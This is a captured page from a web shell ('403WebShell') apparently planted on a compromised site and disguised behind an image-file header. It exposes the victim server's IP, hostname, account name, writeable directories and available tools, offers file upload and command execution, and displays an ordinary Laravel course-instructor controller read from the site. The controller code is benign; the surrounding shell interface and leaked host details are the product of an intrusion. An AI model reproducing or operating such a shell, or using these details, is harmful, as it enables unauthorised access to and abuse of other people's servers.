����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.221.165
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Instructor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Instructor/MultiInstructorController.php
<?php

namespace App\Http\Controllers\Instructor;

use App\Http\Controllers\Controller;
use App\Models\CourseInstructor;
use App\Traits\General;
use App\Traits\SendNotification;
use Illuminate\Http\Request;

class MultiInstructorController extends Controller
{
    use SendNotification, General;
    public function index(Request $request)
    {
        $data['title'] = 'Instructor Request';
        $data['navInstructorRequestActiveClass'] = "active";
        $data['instructorRequests'] = CourseInstructor::where('instructor_id', auth()->id())->whereHas('course', function ($query){
            $query->where('user_id', '!=', auth()->id());
        })->paginate(10);

        return view('instructor.course_instructor.index', $data);
    }

    public function changeStatus(Request $request, $id)
    {
        if($request->status == STATUS_ACCEPTED){
            $count = CourseInstructor::join('courses', 'courses.id', '=', 'course_instructor.course_id')->where('course_instructor.instructor_id', auth()->id())->groupBy('course_id')->count();
            if(!hasLimitSaaS(PACKAGE_RULE_COURSE, PACKAGE_TYPE_SAAS_INSTRUCTOR, $count)){
                $this->showToastrMessage('error', __('Your Course limit has been finish.'));
                return redirect()->back();
            }
        }

        $courseInstructor = CourseInstructor::where('instructor_id', auth()->id())->where('id', $id)->first();
        $courseInstructor->status = $request->status;
        $courseInstructor->save();

        if ($request->status == STATUS_ACCEPTED) {
            $text = __("Co instructor request has been approved");
        }

        if ($request->status == STATUS_REJECTED) {
            $text = __("Co instructor request has been rejected");
        }

        $target_url = route('course-details', $courseInstructor->course->slug);
        $this->send($text, 2, $target_url, $courseInstructor->course->user_id);

        $this->showToastrMessage('success', 'Status has been changed');
        return redirect()->back();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit